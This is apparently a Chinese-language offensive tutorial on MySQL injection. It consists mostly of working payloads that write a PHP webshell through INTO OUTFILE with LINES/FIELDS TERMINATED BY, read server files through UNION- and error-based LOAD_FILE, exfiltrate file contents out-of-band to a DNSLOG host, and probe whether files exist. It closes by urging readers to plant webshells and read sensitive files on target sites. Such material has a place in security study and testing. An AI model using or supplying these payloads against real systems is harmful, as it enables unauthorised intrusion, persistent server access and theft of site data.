報錯注入邂逅load_file&into outfile搭訕LINES
0x00 前言
近期分析mysql利用報錯注入讀取檔案內容,利用LINES TERMINATED BY在查詢只返回一個欄位時寫webshell檔案,以及如何利用load_file掃描判斷檔案是否存在。
0x01 into outfile寫檔案
- 要求使用者具有file許可權
- 檔案不能覆蓋寫入,所以檔案必須為不存在
- 如果secure_file_priv非空,則寫入檔案的目錄只能為對應目錄下
注意:
FIELDS TERMINATED BY原理為在輸出資料的每個欄位之間插入webshell內容,所以如果select返回的只有一個欄位,則寫入的檔案不包含webshell內容,例如下面語句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
LINES TERMINATED BY和LINES STARTING BY原理為在輸出每條記錄的結尾或開始處插入webshell內容,所以即使只查詢一個欄位也可以寫入webshell內容,更為通用。此外,該類方式可以引用於limit等不能union的語句之後進行寫檔案操作。
1. union注入寫檔案
SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'
2. FIELDS TERMINATED BY(可在limit等語句後)
SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
3. LINES TERMINATED BY(可用於limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
4. LINES STARTING BY(可用於limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
0x02 LOAD_FILE讀檔案
- 要求使用者具有file許可權
- 如果secure_file_priv非空,則只能讀取對應目錄下的檔案
1. 聯合注入+load_file讀檔案
SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))
2. DNSLOG帶外查詢
- 需要windows環境
SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))
3. 報錯注入+load_file讀檔案
ps:報錯注入讀檔案內容,有時候會由於報錯長度受限或者檔案編碼問題,推薦採用hex編碼方式分段讀取檔案內容
select * from user where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))
某CMS報錯注入讀取檔案例項1:
某CMS報錯注入讀取檔案例項2:
0x03 掃描檔案是否存在
- 要求使用者具有file許可權
- 如果secure_file_priv非空,則只能掃描判斷對應目錄下的檔案
原理:
load_file讀取檔案時,如果沒有對應的許可權獲取或者檔案不存在則函式返回NULL,所以結合isnull+load_file可以掃描判斷檔名是否存在
如果檔案存在,isnull(load_file('檔名'))返回0
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
如果檔案不存在isnull(load_file('檔名'))返回1
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
某CMS報錯注入掃描檔案例項,存在檔案C:/Windows/win.ini
某CMS報錯注入掃描檔案例項,不存在檔案C:/Windows/passwd
0x04小結
- 倘若知道絕對路徑且有許可權時,通常都是直接into outfile寫webshell
- 不知道網站絕對路徑時,可以嘗試讀取常見的配置檔案獲取網站絕對路徑,然後進行寫操作;或者直接讀取敏感的檔案,獲取資訊進行其他操作。
- 此外load_file可以在盲注情況下,利用DNSLOG帶外獲取內容,或者hex()函式轉換後按位讀取敏感的檔案內容
- 還有很多的利用技巧,大家自行研究,多多分享